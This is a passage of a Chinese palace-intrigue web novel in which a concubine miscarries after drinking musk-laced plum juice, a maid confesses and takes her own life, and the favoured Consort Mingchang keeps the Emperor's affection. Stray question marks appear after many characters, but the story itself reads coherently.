正殿内,美人席位上仍有染出的殷红血迹,明裳看去?一眼,就下意识抚住了小腹,面容发白,想到那盏古怪的梅子汁,仍心有余悸,幸而她早有意识妥,否则今日?她怕是也会与徐美人一般的情状。 那梅子汁是皇上所赐,谁又能想到有人会在御赐之物动下手脚。 只是,她拧起眉,徐美人生出的意外可也是杨才人所为?杨才人为何要对付徐美人,又怎知,徐美人有了身孕。明裳忽然想起,张嫔与她提起徐美人脸色难看时,那时徐美人大抵已?经?意识到自己身子不妥,饮不得?酒水,才吩咐人要了梅子汁喝。 偏殿内 李怀修他捏着拇指的玉戒,脸色冷凝如冰,沉得?骇人。 太医在为徐美人看诊,皇后拧着眉心,一直担忧地看着内殿,在场的嫔妃都噤若寒蝉,无人敢语。 徐美人大抵是真的有了身孕,后宫皇嗣本就不多,徐美人好不容易有孕,却生出这种?事,还是在宫宴上,众目睽睽之下,也有人敢下手,也是胆子大的不要命了。 须臾过后,看诊的太医终于迈出了步子,身形每走一步,都在发抖,他冒着冷汗,战战兢兢,“皇上恕罪!美人主子是服用了麝香之物,臣已?尽力,仍是没保住美人主子腹中?皇嗣。” 殿内倏然一滞,众人都看去?皇上的脸色,心头吓得?砰跳不止。 李怀修冷冷睨他,“徐美人为何会服用麝香?” 语气低沉,压得?人心神惊颤,不敢抬头。 徐美人躺在床榻上,疼痛让她仍动不得?身子,宫宴上,她就已?察觉到有什么慢慢从身体流出,她抓紧了衾被?,眼眶发红,她听见?了外面太医的话,她的孩子没了,她还不知道?自己怀了皇嗣,就已?经?没了。 “翠菊!” 徐美人声?音干哑,她甚至顾不上身下的疼痛,强撑着一把掀开了落下的帷幔,翠菊红着眼睛,过来?扶住主子,“主子身子须得?修养,切不可乱动,主子要做什么,奴婢替主子去?做!” “那盏梅子汁……”徐美人脸色苍白,她不顾翠菊的劝阻,一步一步下了床榻,走到殿外,扑通跪到李怀修面前。 众人见?到徐美人这番情况,都惊了一惊。 徐美人身子在抖,泪水因?疼痛再次流下来?,“皇上,是那盏梅子汁……” “嫔妾……嫔妾在宴席上,腹中?泛出呕意,隐隐察觉到什么,没敢饮酒水,想等到散了席面,再传太医看诊,因?而让侍酒宫人送了梅子汁,嫔妾就是用了那盏梅子汁,才忽然腹痛不止,以致流血,没了这个?孩子!” 她额头重重叩到地上,“求皇上为嫔妾做主!” 徐美人出身名门,素来?稳重端庄,从未这般狼狈过。意外痛失腹中?皇嗣,换作是谁,都不肯轻易罢休。 今日?这桩事也太过古怪,徐美人入宫后尚未得?罪或旁人,更何况那人怎知徐美人怀了身子,往梅子汁中?下入麝香。提到梅子汁,众人才好似想起来?,宓贵嫔有孕,梅子汁本是皇上有意安排给宓贵嫔的解腻的引子。 皇后呼吸轻了些,上前请示,“皇上,不如将徐美人的吃食取来?,太医一查便知。” 李怀修沉着目色点了点头,又想到什么,责令,“将宓贵嫔宴席的用度一并送来?,郭太医再去?给宓贵嫔看看身子,可否有恙。” 郭太医低头应是,李怀修抬手让宫人扶徐美人回床榻歇着,徐美人仍不甘心,极为复杂地抬起眼光,泪水滚落下颌,隐忍着哭腔最后重重叩下一首,“嫔妾意外丧子,皇上要为嫔妾做主!” 皇嗣为国本,即便她不必说,李怀修也会查出设计之人,严惩不贷。 郭太医为明裳诊过脉象,确认无事,才到圣前通禀,此时,殿内有人生出些遗憾。 明裳得?知自己无事,松下些许心弦,让月香将收好的梅子汁拿过来。事情发生得突然,待明裳想到让月香将那一壶梅子汁取来?时,早已?不知被?何人拿走,幸而,她早有留心,暗中吩咐辛小五去注意侍酒宫女的动向,又早早让月香将倒好的一盏收好。 “皇上,方才宴席上嫔妾也察觉出些古怪。” 在场的人目光又具朝明裳投去,明裳近了圣前,屈身道?:“皇上也知,嫔妾擅香,皇上赐下这梅子汁,嫔妾先用过一壶,待侍酒宫女再倒给嫔妾时,嫔妾却觉出其中的味道不对,因?是中?秋宫宴,嫔妾不敢惊扰,才让月香偷偷收了,待宫宴散去?,再交由太医查验,禀明皇上。” 李怀修颔首,郭太医得?了吩咐,又去?检查宓贵嫔呈上的杯盏,他先用银针试过,又放到鼻下闻了闻,面色陡然大变,“皇上,这梅子汁中?被?放入了大量的麝香,倘若是有孕女子饮下后,必然会轻易小产!” 郭太医额头冒出一层一层的冷汗,他是前年才入的太医院,早知宫里的差事不好当,一不留神就掉了脑袋,知道?的秘辛越多,也就越容易没命。郭太医心里叫苦不迭,今日?这桩事,徐美人小产,可万万不要迁怒到自己。 听闻梅子汁里居然有大量麝香,众人都下意识停住了呼吸,是谁如此胆大妄为,敢这般堂而皇之地谋害皇嗣。 李怀修脸色愈发寒了下去?,他抬目望向那女子,那女子面容发白,扶着宫女的手才勉强稳住身子,亦是在后怕,她有孕本就不易,他不能想象,倘若这女子不曾留心,今日?她腹中?与他的孩子也会丧于此。 李怀修眼底冷如冰凌,“全福海,传朕令。” “去?查所有经?手梅子汁之人,凡有牵涉者,押入慎刑司,不日?赐死。” 全福海得?了圣令,此时殿内静得?比方才还有可怕,没人敢去?看皇上的脸色,甚至都垂低了脑袋,生怕皇上怀疑到自己。 今日?之事,是不能轻易了结。 一刻钟后,那侍酒的宫女就被?押入了内殿。梅子汁由御膳房的宫人送进建章宫,明裳与徐美人宴席的梅子汁都是由这个?名叫麦儿的宫女侍奉。 麦儿神色惊慌,她抖着身子,被?押着跪到圣前,明裳侧目去?看,确实是宫宴上给她侍酒的宫女,辛小五叩地禀道?:“贵嫔娘娘在宴席察觉不对,命奴才暗中?盯住了这宫女,方才奴才抓到麦儿时,麦儿正在耳房净手。” 麦儿咽了咽口?水,立即解释,“皇上,奴婢冤枉啊,奴婢是出殿不慎摔了一跤,才要用水洗手,奴婢从未害过贵嫔娘娘与徐美人,请皇上明察!” 她两手举过头顶,手心显而易见?,还留有擦伤的痕迹。 如此确也解释了她为何要去?净手,不过梅子汁中?的麝香做不得?假,那便是这宫女在说假话了。 贤妃适时开口?,“本宫劝你一句,险些害了两位皇嗣,你也知晓会有什么惩罚,倘若今日?查不出凶手,你以为,你还能善了吗?即便不为你自己想,也要为你宫外记挂的人想想。” 贤妃没落下一句,麦儿的脸色就白上一分,她攥紧了手心,身子抖成筛糠。 眼见?那麦儿愈发害怕,明裳才缓缓开了口?,一字一语,“皇上,当时嫔妾有所察觉这梅子汁中?有异,便擅自让月香借着出殿取扇的由头,暗中?跟着麦儿,看她所见?何人。” 明裳顿了顿,有意不再往下去?说,见?麦儿脊背往下一塌,吓得?心慌手抖,脸上血色褪尽,才又继续道?:“麦儿,你还不如实交代吗?” 殿内,有人见?此,眼色暗了暗,低声?道?了句蠢货。 麦儿害怕地哭出声?,“奴婢……奴婢并非要害贵嫔娘娘,是云秀姐姐逼迫奴婢这么做的!” 众人脸上都有变色,其中?徐答应最是愕然,前不久刚被?杨才人责罚一通,现在想起,脸上仍火辣辣得?疼,她怎会想到,今日?之事,与杨才人有关?。 害徐美人小产之人,居然是杨才人,徐答应心口?狂跳,甚至生出几分喜色,她与徐美人同为徐姓,偏生因?徐美人出身高,刚入宫位分就比自己高出一大截,后宫中?常有人拿她与徐美人做比。徐美人小产,她心中?是有窃喜,得?知是杨才人所为,皇上必然不会轻易放过,她也算报了昔日?之仇。 到殿外为主子探信的翠菊此时终于忍不住,朝杨才人恨声?质问,“美人主子与才人无冤无仇,才人为何要害美人主子!” 杨才人拧了拧眉,仍保持着以往的高傲之色,她转过身,端端正正地跪到地上,“皇上,嫔妾根本不知此事,是有心人污蔑嫔妾,企图嫁祸到嫔妾身上。” 她看见?站在旁边的贤妃,手心微微攥紧,“嫔妾现在只想求皇上让景和?回到嫔妾身边,嫔妾恨不得?为之前做过的错事赎罪,怎会再犯错让皇上不喜!” “嫔妾不知道?她们在说什么,怎会栽赃到嫔妾身上!” 有人冷笑出声?,“云秀是伺候杨才人的大宫女,杨才人怎会不知情?” 见?此情形,云秀跪在一侧,眼眶通红,急切抢声?,“皇上,此事是奴婢一人所为,与主子无关?!是奴婢看不过宓贵嫔才有意让宓贵嫔小产,奴婢也是宫宴才察觉徐美人有孕,不想让主子因?不能抚养景和?公主伤心,便狠心在徐美人的梅子汁中?添了麝香。左右都是要死,奴婢自知罪无可恕,主子对此事确实毫不知情,只求皇上处死奴婢,不要迁怒到主子身上!” 她俯身叩到地上,重重磕了三声?,额头磕得?青紫,发髻凌乱,叫人瞧着愈发惊心不已?。 杨才人愕然地去?看,忽然扬手,狠心朝云秀侧脸扇了一掌,她眼泪落下来?,“糊涂!” 话落,杨才人又自责地过去?抱住云秀,将她护到身后,跪求面前的男人,“皇上,云秀一时鬼迷了心窍,嫔妾清楚她的性子,她不是大恶之人,求求皇上饶她一条性命,嫔妾自甘入冷宫,只求皇上饶过云秀吧!” 杨才人双肩耸动,声?音变得?沙哑,原本挺直的脊背也一寸一寸折低,她哭着,求帝王一时的心软,纵使她知晓希望渺茫,微乎其微。 云秀动手之时,就预料到了今日?,她从没后悔过,主子如此护她,更让她坚决了舍了这条命。她细心地擦去?主子脸上的泪渍,嘴唇抖动,满眼心疼,“主子要好好的,奴婢再不能陪您了……” 话落,她袖中?抖了下,不知取出了什么,猛然塞入嘴中?,众人始料未及,贤妃眸色一变,急声?,“她要自尽,快拦住云秀!” 宫人上前相拦之际,云秀面色骤然生紫,四肢僵直,直挺挺地倒在了地上。 殿内一时静谧无声?,杨才人闭了闭眸子,泪水从眼眶中?汹涌而出,她僵硬地跪着,没有回头。 在场的嫔妃面面相觑,都有些唏嘘。 此时就此终了,杨才人降为采女,打入冷宫,永不召幸。 …… 杨才人入冷宫那日?,明裳刚从坤宁宫问安回殿,踏进宫门时,前头急匆匆跑过来?一个?面生的小太监,传话杨才人要见?她。 日?头正好,泼洒到永和?宫殿门,满目金灿。 明裳生出惊讶,她以为杨才人最想见?的人当是景和?公主。不过杨才人有心要见?公主一面,贤妃大抵是理都不会理。月香觉得?杨才人来?者不善,劝道?:“主子怀着皇嗣,怕是杨才人不安好心。” 那小太监似乎早有预料,手中?捧出一物,“主子有要事说与贵嫔娘娘。” 月香接了小太监捧着的香囊拿给明裳看,这香囊的绣样倒有些眼熟,辛柳一眼认出来?,“主子,这是陈宝林绣的东西。” …… 杨才人搬出主殿后,被?皇后安置去?了承明宫最僻静的一处宫所,明裳提着衣裙,走过一条青石路,才到竹香苑。偏殿伺候的宫人不多,又在宫所深处,寂静荒凉。引路的小太监进殿通禀,明裳迈入殿门,鞋边就拂落了一片枯黄的杨叶,应时应景。 引路的小太监又急匆匆地跑回来?,大抵是有讨好明裳的意思,蹲在地上用袖子扫去?堆积的叶子,讪笑道?:“竹香苑伺候的人少,累着娘娘了。” 他抬手去?迎,“主子在外殿等着娘娘,请娘娘进去?。” 明裳点了点头,殿门打开,杨才人坐在窄榻里,许是一夜未眠,眼眶发肿,眼底冒着通红的血丝,她闻声?,才抬起眼,见?到面前衣着华贵,风头正盛的女子,讥诮地勾了勾唇角,“贵嫔娘娘如今可是得?意了。” 见?到杨才人这番态度,月香就气不打一出来?,“杨采女放肆,见?到贵嫔娘娘,还不恭恭敬敬地起身问安!” 月香一向是泼辣的脾气,明裳闲散地坐着,瞧杨才人如今的下场,倒有些感慨。 杨才人咬了咬牙根,想到自己还有求于人,扶着小宫女的手起了身子,弯低了腰身,对着面前的女子恭恭敬敬做了一礼,“嫔妾请贵嫔娘娘安。” 如此有着规矩,折低脊骨的杨才人,明裳点了点头,勉强受下她这一礼。 “说吧,要与本宫说什么?” 陈宝林在宫中?早已?成为过去?,她来?这除却要听杨才人能说些什么,她也有些话要与杨才人说。只是她有着耐心,静静地等着。 杨才人未坐回去?,仍旧保持着方才的姿势,“嫔妾知道?陈宝林是谁的人,受谁指使。嫔妾想与贵嫔娘娘做个?交易,嫔妾告诉贵嫔娘娘,求娘娘通融,让嫔妾再看景和?一眼。” 提到景和?,她攥紧了手心,才有酸涩。那是她拼命生下的女儿,她还未听景和?叫她一声?娘亲。 明裳拧了拧眉,当初杨才人小产,本就疑点重重,紧接着陈宝林就被?降罪,大抵真的是陈宝林所为。但现在明裳对陈宝林是谁的人并不感兴趣。这后宫里,谁不是紧着自己的利益,她原以为杨才人要说些什么有用的。 她轻嗤了声?,“景和?公主又非是本宫抚养,杨才人要见?也该去?见?贤妃才是。” 杨才人何尝没让人去?通禀贤妃,贤妃要是见?她,她何必多此一举,再费尽心思请到宓贵嫔。 见?杨才人再说不出什么,明裳也没了耐心,正要起了身子,她想到一事,掀起眼,慢慢道?:“中?秋宴上,云秀离席,杨才人不曾过问,你当真不知道?她要去?做什么吗?” 杨才人一僵,倏然抬眼看向面前的女子,见?她这般反应,明裳也断定了之前的猜测,她眯了眯眼,“御花园那日?,也是你是故意掌掴徐答应,既让本宫和?贤妃看到,也让云秀看到,云秀知晓本宫与贤妃联手对付于你,必然护主情切,才仓促下手。” “我不知道?你在说些什么……”杨才人低低呢喃,眼神闪躲,“是你和?贤妃害了云秀,是你们!” 想到云秀的死,像梦魇一直缠绕着她,她情绪几近崩溃,慌乱后退的身子不慎撞到香炉,踉跄跌坐到地上,泪水布了满脸,“云秀忠心于我,我怎会害她!” “是你和?贤妃!” “是你们害死了云秀!” 明裳望着杨才人混乱的神色,并无怜悯,是她自己选择了这条路,一步步走到今日?,落得?这番境地。 中?秋后雨水多,方才还是大好的晴天,明裳出了承明宫的宫门,宫城一方天地转了阴云,有稀稀落落的雨珠拂到脸上,辛柳二人生怕主子着了凉气,一左一右护着,要往永和?宫走,还未走出多远,见?前头过来?一顶软轿,全福海小跑着上前躬了身子做礼,“皇上得?知娘娘来?了承明宫,因?前朝有时抽不开身,见?天色不好,吩咐奴才备了软轿迎娘娘回宫。” “娘娘快些上轿,仔细身子!” 月香脸上美滋滋的,“皇上待主子可真好。” 明裳上了软轿,垂帘遮挡住了外面的凉气,她有些疑惑,那位怎知她来?了承明宫。 …… 自徐美人小产后,皇上已?有许久未召幸嫔妃,唯独进后宫的几回,也都是去?永和?宫陪宓贵嫔。六宫不禁开始心急,请安时,不由多问了皇后几句,皇后瞧着一个?个?急不可耐,拈酸嫉妒的嘴脸只觉得?可笑,后宫嫔妃容色出众,这副艳丽的皮囊下,掩盖的却是为了攀附那等权势的丑陋不堪,皇后抚了抚发鬓,妆镜中?凤冠雍容华贵,她眼眸微凝,觉得?讽刺,自己又何尝不是如此。 …… 明裳月份大了后,孕中?的反应愈发明显,吃什么吐什么,原本脸蛋长出的肉经?一个?月的折腾,慢慢消瘦下去?,看得?人好不心怜。 这日?,李怀修没让人通禀,一入殿,就听宫人慌乱的脚步声?,那女子埋头冲着盂盆,作呕不止,指尖儿掐着绢怕,紧得?生生发白。 李怀修心底一沉,下颌紧绷,他捏着扳指挥退伺候的宫人,亲自上前去?扶那女子。 手背覆上温热,男人略带薄茧的指腹轻轻摩挲着她,明裳心头跳了下,余光瞥见?男人对襟的祥云龙纹,飞快地别过脸蛋,手心一挡,忙护住了自己狼狈的面容,急得?要哭出来?,“皇上过来?,怎也不让人通传一声??嫔妾妆容不整,还是让宫人先进来?伺候嫔妾,待嫔妾梳洗好了,再去?殿外见?皇上。” 李怀修被?她挡得?猝不及防,眉峰下意识皱起,又听她一番解释,微微怔住,心头蓦然涌出一股复杂难言的情绪,方才明白,为何听说这女子孕中?难受,却每每见?到她,都是一如往日?明媚俏丽的模样。 她心思是这样多。 李怀修叹息一声?,抿唇不言,把那张小脸转过来?,用她的帕子将挂着的泪珠一点点耐心地擦去?了,明裳要去?躲他,被?李怀修按住身子,这时候明裳倒没那么犯恶心,宫人不动声?色地端下盂盆,明裳埋在男人胸口?,声?音软闷闷的,“皇上一定不喜欢嫔妾方才的模样。” 李怀修抚了抚她的发鬓,手掌又贴到女子的小腹上,眼底很黑,他没有多想心下为何生出对她这样的疼意,只温声?道?:“朕喜欢。” “朕喜欢朕的宓贵嫔,也喜欢宓贵嫔为朕生下的孩子。” “你什么模样都好,不必这样避着朕。” 第076章 第 76 章 明裳眉眼?抬起, 眸底不由生出愕然之色,“皇上待嫔妾这么好,嫔妾会?恃宠而骄的。” 那女子伏在他?怀中, 两只手?贴着他?的胸膛, 美目盈盈,很是温顺懂事。李怀修覆下?眼?睫, 凝着这女子的小脸,他?虽不理后宫事务,却也是知晓, 这人也就在他?面前放肆,六宫中,没人比她守规矩,比她明白,如何讨自己?欢心。 他?眼?眸微暗, 故意逗她, “那就恃宠而骄, 朕的宓贵嫔怀着身子受了?这么多委屈,娇气些又?如何?” 明裳噗嗤笑出声,鼓着小嘴将?脸扭开, 那样娇媚的姿容, 软到他?心坎上。 “皇上惯会?哄嫔妾。” 李怀修轻“啧”了?声,他?堂堂九五之尊,天底下?有几人能得?他?哄着。 他?手?掌覆在女子的肚子上,“用过晚膳了?吗?” 明裳摇头,想到方才闻到的味道, 眉心又?蹙起来,还有些想呕, “嫔妾难受,吃不下?。” 即便李怀修没有照顾有孕女子的经验,也知晓怀着身孕,不用膳对身子不好。 他?低声又?哄了?一句,“少用些。” 李怀修拍了?拍女子的肩背,“朕在永和宫陪你。” 明裳知道这位有多期盼她腹中的孩子,徐美人小产后,皇上再未进过后宫,徐美人腹中也是这位的骨肉,又?失一子,皇上心里大抵是不好受。她懂事地点了?点头,不论如何,总要吃些养养身子。 宓贵嫔有孕后,永和宫的膳房日日都由着宓贵嫔的喜好,每一道菜都做得?极为精细,即便如此,明裳一闻到那味道,生生要抱着盂盆,吐得?天昏地暗。 宫人们在暖阁布好了?晚膳,明裳闻不得?荤腥,大多都是清粥小菜,他?勉强用了?小半碗,就有些吃不下?。 李怀修看出她难受,自己?也没吃下?多少,让宫人撤了?膳。见那女子原本圆润的小脸现在没剩下?多少肉,李怀修招来全福海,又?从御前往永和宫拨了?两个厨子,问明裳还想吃什么,明裳忽然想起幼时在宿州吃的地方菜,上京倒是少见会?做宿州菜的人,李怀修想了?想,又?吩咐全福海传令京兆尹,去?京中找会?做宿州菜的厨子。明裳见要如此大动干戈,不禁红了?脸蛋,“会?不会?太张扬了?,嫔妾也不是非要吃宿州菜。” 这女子扭扭捏捏的模样,居然让李怀修一时觉得?可爱得?紧,他?轻笑了?声,“寻两个厨子而已,不妨事。” 至夜还有密报要送入宫中,李怀修想再陪这女子和他?们的孩子一会?儿,但他?是皇帝,不得?不先顾全大魏江山。待这女子睡下?,他?叮嘱宫人照顾好宓贵嫔,回了?乾坤宫。 御前的动作快,京兆尹得?了?圣令,翌日后午就寻到两个会?做宿州菜的人,送进了?宫。明裳尚是贵嫔位分,宫中有了?膳房不说,还有那位赐下?的六个御厨,旁人听了?,都忍不住生出嫉妒,宓贵嫔怀了?皇嗣,是愈发得?那位宠爱了?。 再去?坤宁宫问安时,便有人问道明裳永和宫养着的厨子,明裳有点惊讶,居然还有人在乎这些事,她浅浅一笑,只道是受皇上所赏。说话?那个嫔妃表情僵了?僵,有些难看,她是没宓贵嫔的好命,又?得?圣宠又?怀上皇嗣。 听着几人说话?,下?座的徐答应紧了?紧手?心,越是游移不定?。 待众人离开坤宁宫,徐答应上前,叫住了?明裳,规规矩矩,恭恭敬敬地做下?一礼,“嫔妾请贵嫔娘娘安。” 杨才人降为采女,打入冷宫,而宓贵嫔又?怀了?身孕,正得?圣宠,徐答应很快看清了?风向,她一向是个墙头草的性子,宓贵嫔风头正盛,不论是求庇护,还是为日后谋一条生路,此时都该早早做好打算。 徐答应已想了?数日,她最是怕宓贵嫔计较从前过往,以前她多次针对宓贵嫔,只盼着宓贵嫔大人不计小人过,即便不愿给她庇护,也不要得?势之后,针对自己?。 徐答应如是想,脸色有些不自然。 “请贵嫔娘娘移步,嫔妾有些话?要与贵嫔娘娘说。” 明裳挑了?挑眉,瞧着徐答应这般轻声细语,大约也是猜出她要说什么。当初她与杨贵嫔同住一宫,可没少借着这个便利,得?以召幸。 她不觉徐答应此人可以相?交,没心思要听她说什么,“徐答应有何话?要说与本宫,不妨在这说了?,本宫回了?寝殿,还要吃安胎药,并无多少闲暇。” 徐答应脸上的笑意僵了?僵,她看出了?宓贵嫔的态度,是不愿与她结交。不过宓贵嫔确实不比当初的杨贵嫔跋扈,那时杨贵嫔虽默许了她走动,却是从未给过她好脸色。 徐答应暗悔是自己?之前把人得?罪太狠,有些不知所措,她屈着身子道:“嫔妾是想与贵嫔娘娘说说闲话?罢了?,并没甚要紧事。当是以贵嫔娘娘腹中皇嗣要紧,嫔妾不敢耽搁了?娘娘用药的时辰。” 明裳多看了她一眼,抬步离开。 待人走远,徐答应抬起眸子朝那处看,长叹一声,颇为忧愁。她也是侍奉过圣驾,传了?太医诊治,也不曾诊出她身子有何问题,但到这时还未怀上身孕。 眼?看着再过一年又?要选秀,有新人入宫,徐答应越加心急不耐。 她转过身,望向坤宁宫的匾额,稍许,重新走了?进去?。 坤宁宫问安散去?,皇后正在外殿教宝珠习字,前些日子皇上来看过宝珠,表扬了?番新写的大字,又?亲自提笔写了?宝珠二字,让她临摹,宝珠是格外敬重她的父皇,日日都要捧着那两个字,认认真真去?写,这些时日,确实大有进步。 皇后摸了?摸宝珠的发顶,这时听见宫人传话?,徐答应求见。她敛下?眸子,不紧不慢地抿了?口茶水,“她有何事要见本宫?” 传话?的宫人又?道:“答应主子说是要陪娘娘说说话?。” 皇后云淡风轻地勾了?勾唇角,“与其?讨好本宫,不如自己?想想法子怎么入那位的眼?。” “后宫这么多人,一个中用的都没有!” 当初选秀,皇后选了?虞氏女本意是要制衡后宫,也是为了?不让丽妃好过。那位一向不重女色,她更从未想过,虞氏女会?有今日这番造化?。她有种感?觉,倘若再任由下?去?,只会?愈发不受她所控,日后虞氏女只会?过丽妃而无不及。 那传话?的宫人见娘娘冷脸,头压得?极低,脊背都出了?层冷汗。 宝珠迷茫地抬起头,不知道母后在说什么,她疑惑地问出口,“是谁要讨好母后,母后不高兴吗?” 小小的人哪知道讨好是什么意思,只是敏感?地察觉,母后没有方才温和,让她有些害怕。她已经许久没见到娘亲了?,母后也不准她去?见,在母后身边虽好,可她还是想念自己?的生母。 皇后抿唇,垂下?了?眼?,换上慈爱的面容,“有人不懂事,不守规矩,母后才会?生气。母后还有些事,宝珠一人在这里练字,好不好?” 宝珠听话?地点头,皇后留了?宝珠一人习字,起身去?外殿见了?徐答应。 彼时徐答应已经坐了?有一会?儿,茶水凉透,是上好的松山云露,她心底忐忑,没心思去?品。待有宫人通禀,皇后娘娘到,她立即放下?手?中的茶水,前去?做礼请身,皇后抬手?让她起来,坐去?了?上位。 皇后含着笑,“有什么话?要说与本宫?” 徐答应局促地捏了?捏指尖,面上平淡如常,“嫔妾一人在殿里冷清,想来沐浴娘娘恩泽,望娘娘不要嫌弃嫔妾碍手?碍脚。” 为何冷清,徐答应没有明说,皇后也猜到几分,她抚去?食指镂金雕花的护甲,“本宫照料宝珠,分身乏术,这段时日,确实少让后宫的姐妹同聚。” 徐答应眼?睛一亮,又?顺着话?道:“六宫都知娘娘辛劳,是嫔妾等愚笨,不能为皇上,娘娘分忧。” 皇后浅笑道:“你们若是有宓贵嫔一半聪慧,伴在皇上身侧,为皇上消解乏闷,本宫倒也省去?不少心力。” “嫔妾何尝不想。”徐答应唉声叹气,“可惜嫔妾不如宓贵嫔聪慧,难入圣眼?。” 她很快沉不住气,“娘娘,宓贵嫔有孕不能侍寝,长此以往也不是法子,嫔妾愚钝,想求娘娘相?助,为皇上分忧。” 皇后不徐不疾地抿了?口茶水,眼?底的神色渐渐淡了?下?来,大抵也清楚了?,为何徐答应有唱曲的本事,却不得?那位宠爱。倒底是不比宓贵嫔讨喜,也不是个聪明的。 殿内有一瞬的安静,徐答应原本的忐忑的心跳声愈发强烈,她意识到什么,蓦地起了?身子,跪到地上,“嫔妾也是想为皇上娘娘分忧, 一时口不择言,请娘娘恕罪!” 皇后淡淡地睨着她,良久才开口,“本宫没怪你什么,起来吧。” 徐答应动了?下?身子,又?听皇后道:“圣意难测,你这番话?本宫就当从未听过,日后不许再说了?。” 徐答应肩膀一抖,又?心惊胆战地跪了?回去?,“嫔妾叩谢娘娘。” 待徐答应出了?殿门?,皇后脸色冷淡,不见情绪,文竹在旁倒上茶水,“奴婢方才问了?小山子,徐答应进坤宁宫前,与宓贵嫔说了?些话?,好似并不愉快,宓贵嫔很快离开,徐答应脸色也有些难看。” 皇后只道了?句,“宓贵嫔一向谨慎。” 直至现在,宓贵嫔也只与张嫔有所亲近。不似当初的杨贵嫔,谁都可用。 文竹没有说话?,素清从殿外进来,屈了?身,“娘娘,冷宫已处置妥当了?。” 前些日子,降了?位分的杨采女进了?冷宫。皇后没有查出杨采女曾经与宓贵嫔说过什么,但此人是不能再留下?去?。 她神色如常地点了?点头,这时候宝珠捧着刚练好的大字进来,献宝似的奉到皇后面前,“母后快看,宝珠这两个字与父皇写给宝珠的像不像!” 皇后面容变得?温柔,赞许地去?抚宝珠的脸蛋,只是那戴着的镂金护甲,终究有着无法捂热的凉意。 …… “主子,快看,那有只蝴蝶!” 中秋过去?,下?过几场雨,天仍未转凉,明裳这些日子好受许多,听了?太医的话?要时常走动,御花园换了?秋日的花景,明裳瞧着那只花间起舞的彩蝶,悄悄上前,扇子翩然合起,叩到了?手?心中。 月香一直在后面小心翼翼地扶着主子,生怕主子出半分差错,见主子捉到了?蝴蝶,才松了?口气。 女子眉眼?弯弯,妙目盈波,生动得?喜人。 “主子,奴婢让辛小五放到罩子里,精心养着。”月香道。 明裳摇了?摇头,掌心张开,由着那只彩蝶再次飞入花丛,她眼?底划过一抹艳羡,“何必让它与本宫一样,困于这一方天地。” 月香哑然,见主子生出怅色,不知该说什么好。 出来有一会?儿,明裳正要准备回永和宫,迎面就见走近的一行?人。 全福海带着一众御前的宫人跟随在圣驾之后,李怀修着一袭玄色龙纹常服,一旁随侍的是前段日子入宫的白答应。 要回永和宫只有这一条路,待圣驾走近,明裳才福了?身子,“嫔妾请皇上圣安。” 李怀修看清面前的女子,眉峰拧了?拧,先一步上前扶起人,眼?目扫了?下?明裳的小腹,“今日怎么到御花园了?,身子好些了??” 明裳已开始显怀,只是衣裳宽大,还瞧不出什么。她起了?身,瞄见后面跟着的白答应,脸蛋不快,嗔道:“嫔妾身子已经好多了?,皇上说是无暇来看嫔妾,却在这与后宫姐妹逛园子,怕是嘴上说不嫌弃嫔妾,实则早另有佳人相?伴了?!” 她这番话?说得?可是大胆,他?是皇帝,不消说是后宫,全天下?的女人,便是他?想要,也没人敢说什么。 李怀修眼?皮子跳了?两跳,脸色精彩无比,伺候的宫人提心吊胆,没人敢抬头,全福海就差点扑通跪到地上,宓贵嫔这个小祖宗,可是什么话?都敢说。 这女子仗着有了?身子,是愈发无法无天了?。 李怀修被她气笑,使劲儿掐了?把那张脸蛋,“没个体统!” 气归气,见这女子是真的在恼他?,李怀修无端生出些莫名的情愫,有些意外,让他?觉得?陌生,他?轻描淡写地向一旁递了?个眼?色。 全福海福至心灵,麻溜上前替皇上解释,“娘娘误会?了?,方才皇上本是与北郡王说些前朝之事,北郡王没离开多久,皇上正要回宫,才遇见的白答应,还没说上几句话?,就见娘娘过来。皇上原本是要回乾坤宫更衣后,要去?看娘娘的!正巧娘娘也在这儿。” 全福海说完,又?麻溜地退下?身。 李怀修冷冷睨着那张小脸,“都听到了??” 泼洒下?的日光映着女子的眉眼?,明裳被男人看得?有些心虚,她咬咬唇,很是给面子的认错,“好嘛,嫔妾知错了?,皇上別生嫔妾的气。” 认错也不会?好好认。 李怀修“呵”了?声,没再理会?她,却也没甩开这女子暗中勾着他?指腹的小手?。 早听闻宓贵嫔得?宠,直至亲眼?所见,才知宫中传言并非夸大其?词。 白答应半刻钟前,得?知皇上与北郡王在御花园,她才有些急切,想在御花园偶然遇见皇上。她入宫也有一段日子,徐美人都已经有孕,可她还不曾侍寝,便有些心急,才这日到御花园想借机与皇上相?遇。 她自信自己?的容貌在六宫中已是极为出众,又?刻意描了?妆容,对着妆镜照了?又?照,换上一身流光织金的宫裙,聘聘婷婷来到了?御花园,定?能入那位的眼?。 只是事实不如她所想的一般,皇上见到了?她,态度并没有什么不同,不咸不淡,甚至好似还觉得?她一直跟着有些厌烦。方才白答应已经挂不住脸,正要请身离开,就遇见了?宓贵嫔。 宓贵嫔那番话?,让她与伺候的宫人一样心惊肉跳,她正想皇上会?如何震怒,却无意撞见皇上给全福海递的眼?色,后宫怕是没人,能得?皇上一句解释。 白答应这才惊觉,这位宓贵嫔是多有不同。 她紧了?紧手?心,在两人中沉默地站着,好似格格不入。 白答应敛下?心思,含笑上前仿佛一无所觉,“贵嫔娘娘有着身孕,入了?秋,天凉了?,自然是皇嗣重要,贵嫔娘娘还是要少些出来,免得?损了?身子,伤着皇嗣就不好了?。” 她眼?底真真切切,像极了?真的是为明裳身子着想。 李怀修捻着扳指,面色倏然一冷。唯有全福海觑见皇上的脸色,为白答应捏了?把汗。 明裳只盯着白答应,红唇微抿,倒觉得?这番说辞实在好笑,自己?要去?何处,与她有何干系,还不是要借着这番话?,说给皇上听。 她轻笑一声,没搭理白答应的话?,反而望向男人,眼?底茫然,“皇上,这位妹妹是谁呀?见到嫔妾,还不曾给嫔妾福礼呢!” 白答应面容一僵,又?见皇上没有为她说话?的意思,愈发觉得?委屈,不自然地福了?身子,“嫔妾答应白氏,请贵嫔娘娘安。” 又?道,“嫔妾言语冲撞,请贵嫔娘娘恕罪。” 如此可怜委屈的模样,好似明裳是那个恶人,欺负了?她一般。 明裳神色漫不经心,“你既知错,换作以往本宫就不与你计较,不过你方才那番话?说得?实在不中听,本宫腹中的皇嗣自然金贵,倘若被你一句两句说得?……” 明裳没说出那几个字,白答应脸上立即生出惊惶之色,她倏然看向一旁的帝王,“皇上,嫔妾当真是无心之言,嫔妾只是好意提醒贵嫔娘娘,嫔妾从未有过他?意啊!” 